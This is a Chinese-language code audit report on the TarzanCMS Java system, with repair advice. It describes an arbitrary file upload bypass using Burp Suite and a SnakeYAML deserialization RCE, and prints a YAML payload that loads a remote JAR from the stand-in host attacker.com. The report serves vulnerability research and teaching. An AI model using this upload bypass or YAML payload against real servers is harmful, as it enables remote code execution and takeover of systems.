Java代码审计-泰山CMS(tarzancms)审计
字数 1435 2025-08-22 12:23:19
泰山CMS(tarzancms)代码审计报告
前言
泰山CMS(tarzancms)是一款基于Java开发的内容管理系统。本报告详细分析了该系统中存在的安全漏洞,包括任意文件上传漏洞和远程代码执行(RCE)漏洞,并提供了复现方法和修复建议。
环境搭建
所需环境
- IDEA 2024.4
- JDK 1.8
- MySQL 8
搭建步骤
- 从Gitee获取源码:
https://gitee.com/taisan/tarzan-cms - 新建MySQL数据库并导入SQL文件:
- 先导入
schema-mysql.sql - 再导入
data.sql
- 先导入
- IDEA设置:
- 设置项目SDK为JDK8
- 配置JDBC连接
- 启动
CmsApplication
漏洞分析
1. 任意文件上传漏洞
漏洞位置
后台文件上传功能
漏洞分析
- 上传路由处理代码直接从
@RequestParam获取数据,交给ossService.upload处理 upload方法仅判断文件是否为空,未对文件类型和内容进行验证- 默认使用本地上传模式(
CoreConst.UPLOAD_TYPE_LOCAL) FileUploadUtil.uploadLocal方法未做任何安全过滤,导致任意文件上传
复现步骤
- 前端上传.jsp文件会被拦截
- 将文件名改为.png绕过前端检查
- 使用Burp Suite拦截请求,将文件名改回.jsp
- 上传成功后可访问上传的恶意文件
2. 远程代码执行(RCE)漏洞
漏洞位置
主题管理功能
漏洞分析
- 主题上传功能直接将上传的文件传入
themeService.upload(file) - 上传的ZIP文件被解压后,其中的YAML文件被SnakeYaml解析
- SnakeYaml存在反序列化漏洞,全版本受影响
- 攻击者可构造恶意YAML文件实现远程代码执行
漏洞利用原理
- 创建包含恶意代码的
theme.yaml文件 - YAML解析器处理时会:
- 创建URL对象指向攻击者的JAR文件
- 创建URLClassLoader加载远程JAR
- 创建ScriptEngineManager执行恶意代码
复现步骤
- 创建恶意YAML文件
theme.yaml:!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/xzsq.jar"] ]] ] - 将YAML文件打包为
theme.zip - 上传ZIP文件触发漏洞
- 攻击者服务器收到请求,恶意代码被执行
有效Payload示例
可使用https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java中的Payload
其他潜在问题
- 任意文件删除:系统多处未对filename进行过滤,可能导致任意文件删除
- SQL注入:部分代码可能存在SQL注入风险
修复建议
-
文件上传功能:
- 实施严格的文件类型检查
- 限制上传文件扩展名
- 对上传内容进行安全扫描
- 将上传文件存储在非web可访问目录
-
RCE漏洞:
- 升级SnakeYaml到安全版本
- 禁用YAML的类加载功能
- 对上传的主题文件进行严格验证
- 使用白名单机制限制可解析的内容
-
通用安全措施:
- 实施输入验证和过滤
- 使用参数化查询防止SQL注入
- 实施最小权限原则
总结
泰山CMS存在严重的安全漏洞,攻击者可利用这些漏洞实现任意文件上传和远程代码执行。开发人员应重视代码审计和安全开发实践,及时修复这些漏洞。安全研究人员可通过此案例学习Java代码审计的方法和技巧。